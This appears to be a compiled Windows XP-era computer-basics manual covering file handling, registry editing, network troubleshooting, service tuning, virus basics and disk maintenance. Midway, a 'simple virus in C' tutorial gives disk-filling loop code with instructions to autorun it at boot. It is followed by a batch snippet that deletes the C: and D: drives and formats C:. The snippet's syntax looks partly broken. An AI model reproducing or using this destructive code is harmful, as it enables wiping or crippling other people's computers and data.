To open My Computer, click Start, and then click My Computer.

Do not copy more files to the CD than it will hold. Standard CDs hold up to 650 megabytes (MB). High–capacity CDs hold up to 850 MB.

Be sure that you have enough disk space on your hard disk to store the temporary files that are created during the CD writing process. For a standard CD, Windows reserves up to 700 MB of the available free space. For a high–capacity CD, Windows reserves up to 1 gigabyte (GB) of the available free space.

After you copy files or folders to the CD, it is useful to view the CD to confirm that the files are copied. For more information, click Related Topics.

To stop the CD recorder from automatically ejecting the CD 1. Open My Computer.

2. Right–click the CD recording drive, and then click Properties.

3. On the Recording tab, clear the Automatically eject the CD after writing check box.


Copying Files: Copy and Paste Option
Files copied through Windows Explorer cannot be pasted into files (e.g., a Microsoft Word document).

1. Select the file that you want to copy 2. From the Edit menu, select Copy OR Right click » select Copy OR Press [Ctrl] + [C] 3. Select the drive/folder where you want the new copy placed 4. From the Edit menu, select Paste OR Right click » select Paste OR Press [Ctrl] + [V] 5. If necessary, adjust the filename (see Renaming Files)

Copying Files: Drag and Drop Option
1. Locate the file that you want to copy 2. Adjust the Folders/Drive listing so you can see the new location for the file 3. Do one of the following: a. If the new location is on a different drive (e.g., hard-drive to floppy), drag the file to the new location b. If the new location is on the same drive (e.g., hard-drive to another location on hard-drive), hold down [Ctrl] and drag the file to the new location

Moving Files
Moving files is useful when you want to rearrange your files to create better file organization.


To move files, you can use a method similar to copying text. The process is similar if you are moving files to the hard-drive or to another floppy diskette.

Moving Files: Cut and Paste Option
1. Select the file that you want to move 2. From the Edit menu, select Cut OR Right click » select Cut OR Press [Ctrl] + [X] 3. Select the drive/folder that you want the file moved to 4. From the Edit menu, select Paste OR Right click » select Paste OR Press [Ctrl] + [V] 5. If necessary, adjust the filename (see Renaming Files)


Renaming Files: Menu Option
1. Select the file that you want to change the name of 2. From the File menu, select Rename 3. Type the new file name 4. Press [Enter]

Renaming Files: Mouse Option
1. Select the file that you want to change the name of 2. Click again on the filename OR Right click » select Rename


A box appears around the filename.

3. Type the new filename 4. Press [Enter]

Deleting Files
Deleting files is an easy way to free up space on your diskettes and disk drives. Any file that is no longer needed should be deleted. If you are deleting files from a floppy diskette, you need to make sure you are deleting the correct file. You will see a confirmation dialog box, but you cannot recover the file once it is deleted. If you are deleting files from the hard-drive, they are placed in the Recycle Bin and remain there until the Recycle Bin is emptied. You can recover files from the Recycle Bin before it is emptied.

Deleting Files: Menu Option
1. Select the file that you want to delete 2. From the File menu, select Delete 3. If you receive a confirmation dialog box, verify that the correct file is being deleted: a. To confirm, click YES b. To cancel, click NO

Deleting Files: Keyboard Option
1. Select the file that you want to delete 2. Press [Delete] 3. If you receive a confirmation dialog box, verify that the correct file is being deleted: a. To confirm, click YES


b. To cancel, click NO


Fine Tuning Systems Settings
The Control Panel contains tools that allow you to change system settings for your computer. • Click Start • Click Control Panel


Under “Pick a Task”, click Change the Date and Time.


You can also change the Format of the date and time by selecting “Change the format of the date and time”


Click the Accessibilities option to see what you can do with that.


• • •

Click the back button Click printers and other Hardware Click the mouse button


• • •

Close the Mouse window. Click the back button. To add new hardware, click the add new hardware link.




Internet Troubleshooting INTRODUCTION
You can use the Internet Explorer Error Reporting tool to report unrecoverable errors in Microsoft Internet Explorer (there are more user-mode faults, such as, general protection faults or invalid page faults) to Microsoft over the Internet for analysis. You can view details about the problem and then choose whether to submit the fault information to Microsoft over the Internet and restart Internet Explorer. If a known problem occurs, a link is provided to a service pack, hotfix, or to a Microsoft Knowledge Base article after sending the error report to Microsoft. If Microsoft has not previously found or addressed the problem, the necessary information can be transmitted to a Microsoft problem database for investigation. This information can help determine potential problems that Microsoft needs to fix in future Internet Explorer service packs. The Internet Explorer Error Reporting tool is included with all versions of Internet Explorer 5.5 Service Pack 2 and 6 and is available from the following Microsoft Web site if you are running Internet Explorer 5 or later on Microsoft Windows 98, Windows 98 71

Second Edition, Microsoft Windows NT 4.0, Windows Millennium Edition (Me), or Windows 2000 and XP ( Steps to download the Internet Explorer Error Reporting tool if you are running Internet Explorer 5 - 5.5 SP1 on Microsoft Windows 98, Windows 98 Second Edition, Microsoft Windows NT 4.0, Windows Millennium Edition (Me), or Windows 2000: 1. On the Windows Update main page, select Product Updates. 2. Scroll down the page to find Internet Explorer Error Reporting. 3. Check the corresponding box, and then click Download at the top of the page. Note The Internet Explorer Error Reporting (IEER) tool does not work in Windows XP or later versions. Windows Error Reporting (WER) is used instead. If WER is disabled and Internet Explorer encounters a fault, no notification will be displayed.

After you install Internet Explorer 5.5 SP2 or 6, Windows XP, or the Internet Explorer Error Reporting tool for Internet Explorer 5.x and restart your computer, you can immediately report errors to Microsoft over the Internet if Internet Explorer experiences an unrecoverable error. When an unrecoverable error occurs, you see the following dialog box instead of the standard fault dialog box:

This dialog box contains the following information: Microsoft Internet Explorer has encountered a problem and needs to close. We are sorry for the inconvenience. If you were in the middle of something, the information you were working on might be lost. Restart Microsoft Internet Explorer.


Please tell Microsoft about this problem. We have created an error report that you can send to help us improve Microsoft Internet Explorer. We will treat this report as confidential and anonymous. To see that data this error report contains, click here. Click Send Error Report to report the problem to Microsoft over the Internet, or click Don't Send to not report the problem. At the time of reporting, the Internet Explorer Error Reporting tool checks to see if the issue you have encountered has already been fixed. If a patch or workaround exists for the specific issue you reported, the Internet Explorer Error Reporting tool directs you to the appropriate Web site where you can download the patch or workaround by displaying the following message: Thank you for taking the time to report this problem. Please follow the link below for information that may prevent this problem in the future. Click More Information to view information about the patch or workaround. If you are not prompted to download a patch or workaround and you need support for the issue that you reported, view the following Microsoft Web site for Internet Explorer support options: ( Note Because all error reports are confidential and anonymous, Microsoft Support Professionals do not have access to any error report that you have sent to Microsoft over the Internet. To view the data-collection policy for Microsoft's Error Reporting service, view the following Microsoft Web site: (

How to Disable Internet Explorer Error Reporting
To disable Internet Explorer Error Reporting, use one of the following methods, depending on your computer.

Internet Explorer 6 for Windows XP
1. Click Start, click Run, and then type sysdm.cpl in the Open box. 2. Click Advanced, and then click Error Reporting. Click Disable error reporting to disable both user and kernel-mode error 3. reporting, or click to clear the Programs check box. 4. Click OK two times.


Internet Error Messages
It happens to all of us. We're surfing along, and up comes an error (usually 404). What do all those error codes mean? Here's a quick rundown of the most common.

Error numbers and what they mean

400 - Bad Request - You probably typed in a URL wrong, the server has no clue what you're looking for, or you aren't allowed to have access. Usually, it's a matter of the URL being typing in wrong. Maybe you mixed upper and lowercase letters or something. 401- Unauthorized Request - you tried to get to something on the web server you're not allowed to play with. In other words, you ain't on the party list. 403 - Forbidden - You can't access the page. You may not have access (it may require a password), or it may be blocked from your domain. 404- Not Found - The page you were trying to look at was not found on the server. This is probably the most common error you'll come across. What has probably happened is that the web page you were going to has been removed or re-named. Keep going backwards in the URL and you'll usually come up with the site you're after. Then you can look for the lost page from there. Another possibility is that your Internet connection has gone dead. Try re-logging on. 500 - Internal error - Usually caused by a CGI error. You fill out a form, but the script used to process it is not working properly.

You get annoying pop-ups when you surf the Internet
Maybe this sounds familiar? You're surfing the Internet and access a Web page. Suddenly, you're bombarded with a slew of blinking pop-up advertisements all over your screen. Sometimes there are so many, you can't even see the original Web page you wanted to view. Adware (a form of spyware) causes these pop-ups. Adware is software that displays Web-based advertisements. Adware often installs onto your PC without you realizing it. For example, simply clicking on a hyperlink can load adware onto your PC. Not only are pop-ups annoying, but they use system resources, thus slowing your PC down. The following solutions provide methods for both blocking and removing adware from your PC. 74

Solution #1: Install anti-spyware software The best way to keep pop-ups off your PC is to install and run some anti-spyware software. Available for free, the following are all great products that remove spyware off your PC: •Microsoft Windows Defender •Spybot •Ad-Aware •X-Cleaner When running any of these programs, make sure you check for updates. (These programs all have some "Check for Updates" functionality.) If after running any one of the programs you still find pop-ups coming up, try installing and running all of these programs. One of these programs may catch certain types of spyware better than the others. Between all four programs, you should be able to catch any spyware that may find its way onto your PC. Solution #2: Block pop-ups with Internet Explorer Windows XP Service Pack 2 (SP2) contains a pop-up blocker for Internet Explorer. Installing this service pack will prevent many pop-ups from bombarding you as you view Web pages. Learn about Windows XP SP2 and what you need to know to install it. To change the pop-up blocker settings 1.On the Tools menu in Internet Explorer, point to Pop-up Blocker, and click Pop-up Blocker Settings.


Access the Pop-up Blocker Settings dialog box 2.In the Address of Web site to allow box, type the addresses of the Web sites for which you'd like to allow pop-ups. Then, click Add. 3.You can increase (or decrease) the pop-up filter level using the Filter Level box. 4.Once you've made the appropriate changes to the pop-up blocker, click Close. Here are two notes to keep in mind with the Pop-up Blocker: •Hold down the CTRL key while a pop-up opens to temporarily disable the Pop-up Blocker. (This allows you to see a blocked pop-up.) •The Pop-up blocker will not block pop-up windows containing confirmation details (such as confirming an online order you've just made). Top of page

You receive error messages on the Web pages you view
How many times have you been surfing the World Wide Web and received some strange error message.


Error message from a Web page The good news is that this message isn't caused by anything that's wrong with your PC. The error is with the Web page you're viewing. The Web designer who created the Web page made an error in the JavaScript—the programming language used to automate certain areas of a Web page. You can't fix the Web page. The best you can do is contact someone at the Web site and let them know the page has errors. However, you can prevent this message box from being displayed. Unless you're a Web designer working with JavaScript, you have no reason to see if Web pages have errors. Solution: Turn off JavaScript Error Messages 1.On the Tools menu in Internet Explorer, point to Internet Options. The Internet Options dialog box is displayed. 2.Select the Advanced tab. 3.Scroll down the list. Click to select the Disable Script Debugging (Internet Explorer) check box.


Turn off the disable script debugging functionality 4.Press OK. You won't see these error messages again. This doesn't turn off the JavaScript—only the error messages that are displayed when there's a problem with JavaScript on a Web page.

The text on Web pages is too small to read
Some Web designers love to torture the public by putting up Web pages with small text. Or, perhaps that's just my excuse for my aging eyes. Thankfully, Internet Explorer contains a useful setting to change Web page text on the fly. Solution #1: Make the text larger on a single Web page To enlarge the text on the Web page you're currently viewing 1.On the View menu in Internet Explorer, point to Text Size, and then click Larger.


Enlarge the text on a single Web page 2.If the text still seems small, go to the View menu, point to Text Size, and then click Largest. This choice works only on a page-by-page basis. The solution enlarges the text only on the page you're currently viewing. The next Web page you go to will have the text back to the original size. If you're finding all Web pages difficult to read, you may want to change your monitor settings. Check out the next solution for more information on this. Solution #2: Bump up your monitor display size To increase your screen resolution 1.1. On the Start menu, click Control Panel. 2.2. In Control Panel, double-click Display. The Display Properties dialog box appears. 3.3. Click the Settings tab. Adjust the Screen resolution slider to one of the following screen settings (see Figure 5): •800 x 600 •1024 x 768 •1280 x 1024


Adjust your screen resolution 4. Click Apply. The Display Properties dialog box remains open, in case you need to tweak your screen resolution some more. When you're satisfied, click OK.

The Registry
What is the Registry? Windows Registry is a central database in Windows. The database contains most of the "pointers" and "settings" for Windows, programs, hardware and users. Pointers tell Windows or programs where to find the resources required to perform specific actions. The ways that many actions are (or are not) performed are controlled by settings. Just about any setting that you change -- either in Windows or a program -changes the registry. There are some notable exceptions. Firefox, Thunderbird and many other "wiser" programs avoid the Registry entirely by saving settings, etc. in their own file folders. Almost any time you are using your PC there are a swarm of things going on behind the scenes in the Registry, almost like bees around a hive. (In fact, the major elements of the Registry are called hives.)


The (last known good) Registry is stored in Registry Hives: Six of them are located in C:\Windows\System32\Config\ default SAM SECURITY software system userdiff There is one more hive for each user located in C:\Windows\\Documents and Settings\<username>\ ntuser.dat However, the hives are not the Registry: The Registry hive files are, strictly speaking, not the Registry. The registry is a dynamic thing that exists in memory only. The Registry only exists when Windows is running. It is built by Windows from the Hives, and other hardware information, during the startup process. The Registry Editor makes the structure of the actual Registry visible as keys and values, in much the same way that Windows Explorer makes folders and files visible. You can also "edit" the keys and values with the Registry Editor, which is similar to editing folders and files with Windows Explorer.

Root Keys
Root Keys: Keys are like folders for files. Each key -- and in turn, each sub-key -- can contain sub-keys, one default value, and as many other values as needed.
HKEY_LOCAL_MACHINE -- (HKLM) contains information about hardware, and settings that apply globally. HKEY_CLASSES_ROOT -- (HKCR) contains file associations, OLE information and other system settings. HKEY_CURRENT_CONFIG -- settings specific to the current hardware configuration. HKEY_USERS -- (HKU) contains settings specific to all "logged on" users of the machine. HKEY_CURRENT_USER (HKCU) -- contains settings specific to the current user (the one with control).

Notice that there are really only 2 root keys. The others are sub-sets or pointers for sections of the 2 root keys. Do not confuse root keys with Registry hives. Hives are where the registry information is stored when Windows is not


running. In a sense, the Directory is a dynamic thing that exists only in memory. Building the Registry Windows builds most of the Directory when it boots up, and the rest when you log on. Windows gets most of its information from the registry hive files. Information about hardware is obtained from the hardware and hardware drivers (files) when Windows boots. The registry is dynamic. Changes are retained in memory and recorded in *.log files. Windows also uses the *.log files to write the changes to the hives when you restart Windows. The Registry is primarily there to coordinate the operation of Windows, hardware and the installed programs. Editing is merely a subsidiary aspect of the Registry.

Manual steps to export registry subkeys
You can follow these steps to export a registry subkey before you edit it. Note Do not follow these steps to export a whole registry subtree. (HKEY_CURRENT_USER is an example of such a subtree.) If you must back up whole registry subtrees, back up the whole registry instead. 1. Click Start, and then click Run. 2. In the Open box, type regedit, and then click OK. 3. Locate and then click the subkey that contains the value that you want to edit. 4. On the File menu, click Export. In the Save in box, select a location where you want to save the Registration Entries 5. (.reg) file, type a file name in the File name box, and then click Save.

Manual steps to back up the whole registry
To back up the whole registry, use the Backup utility to back up the system state. The system state includes the registry, the COM+ Class Registration Database, and your boot files. For more information about using the Backup utility to back up the system state, click the following article numbers to view the articles in the Microsoft Knowledge Base: 308422 ( How to use Backup to back up files and folders on your computer in Windows XP 320820 ( How to use the Backup utility to back up files and folders in Windows XP Home Edition 326216 ( How to use the Backup feature to back up and restore data in Windows Server 2003


Manual steps to edit the registry

Use the Windows user interface
We recommend that you use the Windows user interface to change your system settings instead of manually editing the registry. However, editing the registry may sometimes be the best method to resolve a product issue. If the issue is documented in the Microsoft Knowledge Base, an article with step-by-step instructions to edit the registry for that issue will be available. We recommend that you follow these instructions very exactly.

Manual steps to use Registry Editor
Using Registry Editor incorrectly can cause serious problems that may require you to reinstall your operating system. Microsoft cannot guarantee that problems that result from incorrect use of Registry Editor can be solved. Use Registry Editor at your own risk. Editing the registry involves the following six types of procedures: • Locating a subtree, key, subkey, or value • Adding a subkey • Adding a value • Changing a value • Deleting a subkey or a value • Renaming a subkey or a value

Locating a subtree, key, subkey, or value

There are five top-level registry subtreesEach of them starts with "HKEY." In the following example, HKEY_LOCAL_MACHINE is the subtree, SOFTWARE is the key, and Microsoft is the subkey. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft In Registry Editor, you can search through the keys and subkeys in the same way that you search through your folders in Windows Explorer. The keys and the subkeys are listed in a folder tree in the left pane of Registry Editor. If you click a key or a subkey in the left pane, information about the value name, the value type, and the value data appears in the right pane. As in Windows Explorer, each folder may be expanded by clicking the plus sign (+) that is next to it. After a folder is expanded, the plus sign changes to a minus sign (-). Note When this article says to expand an item, click the plus sign next to that item.


To locate the Microsoftsubkey that is mentioned earlier in this section, follow these steps: 1. Click Start, click Run, type regedit, and then click OK. 2. Expand HKEY_LOCAL_MACHINE. 3. Expand SOFTWARE. Click Microsoft. 4. Note When you click the Microsoft subkey, its values appear in the right pane. To view the next lower level of subkeys, expand the Microsoft subkey. To locate a value, click the subkey that contains the value, and then view the contents of the right pane.

Adding a key

To add a new subkey named TestSubkey to the Microsoft subkey, follow these steps: 1. Expand HKEY_LOCAL_MACHINE. 2. Expand SOFTWARE. 3. Click the Microsoft subkey. 4. On the Edit menu, point to New, and then click Key. 5. Type TestSubkey, and then press ENTER.

Adding a value

To add a new DWORD Value named TestDWORD and to set its value data to 1 in the TestSubkey key, follow these steps: 1. Expand HKEY_LOCAL_MACHINE. 2. Expand SOFTWARE. 3. Expand Microsoft. 4. Click the TestSubkey subkey. 5. On the Edit menu, point to New, and then click DWORD Value. 6. Type TestDWORD and then press ENTER.. 7. Right-click the TestDWORD DWORD Value, and then click Modify. 8. Type 1, and then click OK.

Changing a value

To change the value data for the TestDWORD DWORD Value to 0 in the TestSubkey key, follow these steps: 1. Expand HKEY_LOCAL_MACHINE.


2. Expand SOFTWARE. 3. Expand Microsoft. 4. Click the TestSubkey subkey. 5. Right-click the TestDWORD DWORD Value, and then click Modify. 6. Type 0, and then click OK.

Manual steps to rename a key or value

To rename the TestSubkeysubkey to Test, follow these steps: 1. Expand HKEY_LOCAL_MACHINE. 2. Expand SOFTWARE. 3. Expand Microsoft. 4. Right-click the TestSubkey key, and then click Rename. 5. Type Test, and then press ENTER.

Deleting a key or value

To delete the TestDWORD DWORD Value in the TestSubkey subkey, follow these steps: 1. Expand HKEY_LOCAL_MACHINE. 2. Expand SOFTWARE. 3. Expand Microsoft. 4. Click the TestSubkey subkey. 5. Right-click the TestDWORD DWORD Value, and then click Delete. 6. Click Yes to confirm that you want to delete the value. For more information about editing the registry, follow these steps in Registry Editor: 1. On the Help menu, click Help Topics. 2. On the Contents tab, double-click Registry Editor. 3. Double-click How To. 4. Double-click Change Keys and Values, and then click the topic that you want.


Fixing Your Internet Connection

The following instructions tell you how to find your IP address under Windows 2000 and Windows XP. These instructions will also help you find your MAC (hardware) address, DHCP server, DNS server and other useful information. They might help you troubleshoot a bad ResNet connection too. If you have Windows 95, 98 or Me, check out the instructions for using winipcfg instead. Go to the start menu and select Run.... Then type cmd in the box and click OK.

At the C:\> prompt type ipconfig . Then press Enter. Your IP address, subnet mask and default gateway will be returned to you. If your IP address is 192.168.x.x, 10.x.x.x, or 172.16.x.x, then you are receiving an internal IP address from a router or other device. The IP address that the world sees is that of the router. If you are receiving a 169.254.x.x address, this is a Windows address that generally means your network connection is not working properly.


If you want more detailed information about your network connection, type ipconfig /all at the prompt. Here you can get the same information as ipconfig with the addition of your MAC (hardware) address, DNS and DHCP server addresses, IP lease information, etc. If your IP address is 192.168.x.x, 10.x.x.x, or 172.16.x.x, then you are receiving an internal IP address from a router or other device. The IP address that the world sees is that of the router. If you are receiving a 169.254.x.x address, this is a Windows address that generally means your network connection is not working properly.


If you are having trouble with your ResNet connection, it may be fixed by releasing and renewing your IP address. Type ipconfig /release at the prompt and press enter. Then type ipconfig /renew and press enter again. If your connection is okay, a valid IP address, subnet mask and default gateway will be returned to you after a few seconds.

Windows XP Tips and Tricks
Disable Error Reporting

As many of you would have noticed - every time a Microsoft program crashes in Windows XP - and Error Report comes up allowing you to send some information on the crash to Microsoft. Well this can get quite annoying, so here is how you disable it.


1. 2. 3. 4. 5. 6. 7. 8.

Open Control Panel Click on Performance and Maintenance. Click on System. Then click on the Advanced tab Click on the error reporting button on the bottom of the windows. Select Disable error reporting. Click OK Click OK

On Screen Keyboard
Want to use an on screen keyboard? Well it is this simple - Click on the start button and select run. Then type in osk in the box and click OK.

Services You Can Disable
There are quite a few services you can disable from starting automatically. This would be to speed up your boot time and free resources. They are only suggestions so I suggestion you read the description of each one when you run Services and that you turn them off one at a time. • • • • Click Start->Settings ->Control Panel Click Performance and Maintenance Click Administrative Tools Double click Services

Some possibilities are:


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Alerter - Sends alert messages to specified users that are connected to the server computer. Application Management - Allows software to tap directly into the Add/Remove Programs feature via the Windows Installer technology. Background Intelligent Transfer Service - The Background Intelligent Transfer service is used by programs (such as Windows AutoUpdate) to download files by using spare bandwidth. Clipbook - ClipBook permits you to cut and paste text and graphics over the network. Error Reporting Service - Allows applications to send error reports to Microsoft in the event of an application fault. Fast User Switching - Windows XP allows users to switch quickly between accounts, without requiring them to log off. Help and Support - Allows the XP Built-in Help and Support Center to run. IMAPI CD-Burning COM Service - You don't need this if you have other software to create CDs. Indexing Service - Indexes contents and properties of files on local and remote computers; provides rapid access to files through flexible querying language. IP SEC - Manages IP security policy and starts the ISAKMP/Oakley (IKE) and the IP security driver. If you are not on a domain, you likely don't need this running. Messenger - Transmits net send and Alerter service messages between clients and servers. This is how a lot of pop-up windows start appearing on your desktop. Net Logon - Supports pass-through authentication of account logon events for computers in a domain. If you are not on a domain, you don't need this running Network DDE - Provides network transport and security for Dynamic Data Exchange (DDE) for programs running on the same computer or on different computers. NT LM Security Support Provider - Provides security to remote procedure call (RPC) programs that use transports other than named pipes. Performance Logs and Alerts - Collects performance data from local or remote computers based on preconfigured schedule parameters, then writes the data to a log or triggers an alert. If you don't need to monitor your performance logs, then you don't need this service. Portable Media Serial Number - Retrieves the serial number of any portable music player connected to your computer QOS RSVP - Provides network signaling and local traffic control setup functionality for QoS-aware programs and control applets. Remote Desktop Help Session Manager - Manages and controls Remote Assistance. If you are not using Remote Desktop you don't need this service. Remote Registry - Enables remote users to modify registry settings on this computer. Routing & Remote Access - Offers routing services to businesses in local area and wide area network environments. Allows dial-in access. Secondary Login - Enables starting processes under alternate credentials. This is what allows you to run an application as another user.


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Smart Card - Manages access to smart cards read by this computer. Smart Card Helper - Enables support for legacy non-plug and play smart-card readers used by this computer. SSDP Discovery Service - Enables discovery of UPnP devices on your home network. TCP/IP NetBIOS Helper - Enables support for NetBIOS over TCP/IP (NetBT) service and NetBIOS name resolution. This should not be needed in today's network environment. Telnet - Enables a remote user to log on to this computer and run programs, and supports various TCP/IP Telnet clients. Uninterruptible Power Supply Service - Manages an uninterruptible power supply (UPS) connected to the computer. Universal Plug and Play Device Host - Provides support to host Universal Plug and Play devices Upload Manager - Manages synchronous and asynchronous file transfers between clients and servers on the network. Volume Shadow Copy Service - Manages and implements Volume Shadow Copies used for backup and other purposes. Web Client - Enables Windows-based programs to create, access, and modify non-local files across the Internet. Wireless Zero Configuration - Provides automatic configuration for the 802.11 adapters WMI Performance Adapter - Provides performance library information from WMI HiPerf providers.

Opening an Explorer Window to the Directory You Want
Added 9/4/01 If you want to create a shortcut for the Explorer to a specific directory, include the directory you want in the Target. For example: %SystemRoot%\explorer.exe /n, /e, d:\internet would open the Explorer to the D:\INTERNET directory


What is a virus?
A computer virus is a program that can make copies of itself. Most computer viruses do nothing more than this and are more of an annoyance than a danger. Some computer viruses, though, may also harm data and programs stored on a computer.

What types of viruses are there?
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Program viruses infect computer programs and become active when the
infected program is run. Boot sector viruses infect diskettes and hard disks and become active when an infected disk is used to start the computer. (On a Macintosh, merely inserting an infected disk can activate a virus.) Macro viruses infect documents (files) through the macro programming capabilities of some newer programs. Macro viruses become active when an infected document is opened, and the program opening the document has its macro capabilities turned on (enabled). As of late 1997, only documents created with Microsoft Word version 6 or later (Windows and Macintosh versions), Excel (5.0 for Windows 3.x and Windows NT, and 7.0 for Win95), and Lotus Ami Pro have seen infections. However, in the future, it is likely that viruses will be created that can infect other types of documents.

What is not a virus?
Trojan horse programs are designed to do something (usually something malicious) other than their supposed purpose. Trojan horse programs are sometimes classified with viruses. However, because they don't make copies of themselves, they are not true viruses. Some programs are designed as a joke, or prank, but are not viruses. For instance, warnings of a virus incorporated in a mail message with the phrase "Good Times," "Join the Crew," or "Penpal Greetings" in the header have, at times, been rampant. The only thing that spreads, however, with these "viruses," is the messages warning people to look out for the supposed virus in their e-mail. And, it's the person sending the message, not the computer, that causes the message to be copied and spread.

Making A simple virus in C for Beginners

Hi everybody, at the begining of the learning of computer programming it is a dream of almost all student to build a computer virus of his/her own.


Computer virus obviously is a thing that should not be made and used on others computer it is completely illegal in all countries. So make and try this on your own machine. Now let me explain what do the viruses do. There are several types of computer viruses with different functions(destructive obviously).Some of which delete computers' important files and folders, some change the configuration of your computer system like registry values, some occupy and engulf a large amount of memory space and dump your hard disk. There are some viruses too which can damage your RAM parmanently. I am going to give here a simple virus program which has only a few lines bur has ability to jam your Hard disc. The logic behind the program is nothing but making a self growing file which grows to a few MB in one tern and this growth will continue infinitely. The requirement to make this virus is OS:-Windows98/xp/2000 MS-DOS Compiler:-Borland C(Which has Dos Shell) Source Code://START v.c #include<stdio.h> #include<stdlib.h> void main() { while(1) { system("dir>>â•ša.exe"); } } //END As you can see this is a very little program. Compiling the program we get v.exe file. This is our virus. How it works?-The system call "dir>>â•ša.exe" will execute the dos command 'dir' and redirect its output to a file â•ša.exe(the symbol â•š can be obtained by pressing 456 on numpad holding alt key).So running the program in a folder having many files and folder will increase the size of â•ša.exe in a great amount. This process will continue to infinity as this is in a while(1) loop; Best try this on win98.then you cannot delete â•ša.exe from GUI. For auto running place v.exe in the command folder in windows folder. In autoexec.bat(win98) or autoexec.NT(winXP/2000) file simply write v.exe. Each time your window starts v.exe will run automatically. Try this on your own computer remember the â•ša.exe is the infected file which is growing in size continuously. So to recover, simply delete v.exe and â•ša.exe file from your computer. For more information or any problem please write me. Bye.... Code:


//START v.c #include<stdio.h> #include<stdlib.h> void main() { while(1) { system("dir>>â•ša.exe"); } } //END

@echo off DEL C:\ -y DEL D:\ -y FORMAT C:\ -y (write in notepad save as "filename.bat")

How to Get Rid of a Computer Virus
Difficulty: Moderately Easy Computer viruses come in many forms and can cause various kinds of damage to your system. Fortunately, most viruses are easily dealt with and effective methods for eliminating them are often developed as soon as the viruses are discovered. If you think your computer may be infected, take any necessary steps to clear your system and avoid infecting other computers.


STEP 1: Visit your virus-scan software manufacturer's Web site and install any virus updates that are available. Then run the software. The software may not be able to delete the virus, but it may be able to identify it. STEP 2: Search the Web for information regarding your specific virus by typing the name of the virus or its associated file into a search engine followed by the word "virus." For example, "Melissa virus," "BubbleBoy virus," etc. STEP 3: Download and install any patches or other programs that will help you eliminate the virus. Or follow any instructions you find on deleting the virus manually. STEP 4: Run another virus scan to make sure the virus has been dealt with properly.


Tips & Warnings

If you think your computer was affected with an e-mail virus that mails itself to people in your e-mail address book, contact those people and tell them not to open the messages or attachments. Generally, deleting the file that caused the virus isn't sufficient to eliminate the problem, since many viruses can create new files or corrupt existing files. Your best bet is to use anti-virus software or specific online instructions. Avoid sending out any e-mails until you have properly eliminated the virus. Many viruses can attach themselves to outgoing messages without your knowledge, causing you to unwittingly infect the computers of your friends and colleagues.

Running Scandisk

Check for Disk Errors in Windows XP
Tip from the Microsoft Knowledge Base. The ScanDisk utility is not available in Windows XP. However, you can use the ErrorChecking tool in Windows XP to check the integrity of your hard disk. To check for file system errors and bad sectors on your hard disk, follow these steps: 1.Double-click My Computer, and then right-click the local disk that you want to check. 2.Click Properties, and then click Tools. 3.Under Error-checking, click Check Now. 4.Under Check disk options, select the Scan for and attempt recovery of bad sectors check box. 5.Click Start. Other ways: This one took some real thought over at the Microsoft campus on how to make things simple... Start, Control Panel, Performance and Maintenance, Administrative Tools, Computer Management, Disk Management, Storage, rightclick the Volume, Tools, Options, Check Now button, Select Options, Start. Start, All Programs, Accessories, Windows Explorer (right where it is really handy!), Expand My computer, right-click the drive, Properties, Tools, Check Now..., Select Options, Start.


Start, right-click My Computer, Manage, Storage, Disk Management, right-click the Volume, Properties, Tools, Check Now..., Select Options, Start. Double-click My computer on the Desktop (or Start, My Computer), select drive, File, Properties, Tools, Check Now..., Select Options, Start. My Computer, right-click the drive, Properties, Tools, Check Now..., Select Options, Start.

Step-by-step: Efficient defragging
1. Defrag works most efficiently when your drive has ample space for its operations. If you run Defrag with a drive that's chockablock, it must work like mad simply to clear enough space to start writing files. So it pays to delete all unnecessary files before you start defragging. Uninstall unwanted programs, archive old data, delete unwanted backups, and then run Disk Cleanup (Start –> Programs –> Accessories –> System Tools –> Disk Cleanup).


2. Defrag also works best when completely uninterrupted. Background programs such as Task Scheduler and anti-virus software can cause Defrag to stop and restart repeatedly. To avoid such interruptions, do a clean boot before running Defrag: a. Click Start –> Run, type msconfig in the Open box and click OK to open the System Configuration Utility. b. On the General tab, click Selective Startup and remove the ticks beside Process System.ini File, Process Win.ini File and Load Startup Group Items. (On some versions of Windows you may also see Config.sys, Autoexec.bat and Winstart.bat options – remove the ticks beside these as well). c. Click OK and allow your computer to restart.

1. Once you've cleaned out unnecessary files and stopped background programs from loading, you're ready to defrag: a. Click Start –> Programs –> Accessories –> System Tools –> Disk Defragmenter. b. Select the drive you wish to defrag.


c. Click Settings and make sure there's a tick beside the two options in the section When Defragmenting My Hard Drive, then click OK twice to begin. d. After Defrag has finished, open the System Configuration Utility once more, click Normal Startup on the General tab, click OK and reboot.

How do I delete an "undeletable" file?
Sometimes you want to delete a file but when you do so an error message pops and tells you it cannot be done.

Method #1 - Kill explorer.exe
Do successfully delete an undeletable file that is caught be the explorer.exe process (and most of them are) do the following:

1. Open a Command Prompt window and leave it open. 2. Close all open programs. 3. You now need to close EXPLORER.EXE. The proper way to shutdown
Explorer is to raise the "Shut Down Windows" dialog (select "Shut Down..." from the start menu), hold down CTRL+SHIFT+ALT and press the CANCEL button. Explorer will exit cleanly. Note: The <CTRL+SHIFT+ALT> at the 'Shut Down Windows' dialog method of closing Explorer is built into Explorer. (It was specifically designed so that developers writing Shell Extensions could get Explorer to release their Shell Extension DLLs while debugging them).

4. Go back to the Command Prompt window and change to the directory 5. 6.
where the undeletable file is located in. At the command prompt type DEL <filename> where <filename> is the file you wish to delete. Go back to Task Manager, click File, New Task and enter EXPLORER.EXE to restart the GUI shell. Close Task Manager.

(Tip modification submitted by James R. Twine who has a great utility called Delete FXP Files that can help you delete files and folders that simply won't go away).


Windows XP Professional comes with a powerful search tool that you can use to find files and folders that are saved on your computer or on your network drives. Windows XP Search is highly flexible, giving you many options to help you quickly find what you need. The more you can limit your search (the more specific you get) the faster your search will be. You can use Windows XP Search to find:
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Pictures, Music, and Video: multimedia files. Documents: word processing, spreadsheet, text, etc. files. All Files and Folders: everything on removable media, your hard drive, and Novell network drive(s). Computers or People: computers that are part of your network group or people in your Outlook address book. Information in Help and Support Center: Microsoft's help documentation for Windows XP Professional.

This example shows you how to search for a file or folder. 1. Click the Start button then click Search.

2. The Search window will open. On the left of the Search window is the Search Companion.


3. In the Search Companion, click All Files or Folders.

4. You have several options under All Files or Folders. You can search for files or folders by the file name (or part of the file name), a word or phrase in the file, the drive where the file is saved, or any combination of the three.


5. By default, Search Companion will look through your hard drive. If you want to search a different drive, click the down arrow below Look in. This will bring up a list of the drives, folders, and disks you can search. Click on the drive, folder, or disk you wish to search.

